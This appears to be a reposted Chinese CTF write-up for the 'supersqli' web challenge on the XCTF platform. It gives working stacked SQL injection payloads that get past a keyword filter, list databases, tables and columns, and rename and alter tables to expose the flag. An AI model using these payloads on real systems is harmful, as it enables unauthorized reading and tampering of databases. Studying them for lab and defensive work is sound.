ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

攻防世界之Web_supersqli

2022-02-22 01:03:13  阅读:180  来源: 互联网

标签:Web 攻防 查询 flag supersqli words 1919810931114514 id 注入


题目

 

 

 本题考查sql注入传送门https://www.cnblogs.com/shacker/p/15917173.html

按照SQL注入一步一步执行

 

 

 发现有2个列

然后用union select联合查询,然后发现过滤了一些关键字,传送门上篇将的就是毫无防护的白给,这题虽然也用来正则匹配来过滤

但这样只是稍微麻烦一丢丢

发现上面的关键字都被过滤不能使用了,没法进行注入,这个时候尝试一下堆叠注入

现在回到这道题,利用堆叠注入,查询所有数据库

  注入命令:1';show databases#           查询所有数据库

 

 

 显然,这题选择supersqli爆库

注入命令:1'and 1=2;show tables from supersqli#     爆出所有表

 

 

 然后,选择1919810931114514表,爆表

注入命令:1'and 1=2;show columns from `1919810931114514`#   ps:字符串作为表名需要加反单引号

爆出列名flag

 

 

 最后一步就是爆数据。

根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id

这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag

将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段

注入命令:1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#
这段代码的意思是将words表名改为words1,1919810931114514表名改为words,将现在的words表中的flag列名改为id 然后用1' or 1=1 #得到flag

 

 ============================================================================================

总结:遇到过滤sql语句的时候,尝试使用堆叠注入,利用漏掉的sql语句配合进行注入攻击。



 

标签:Web,攻防,查询,flag,supersqli,words,1919810931114514,id,注入
来源: https://www.cnblogs.com/shacker/p/15921335.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有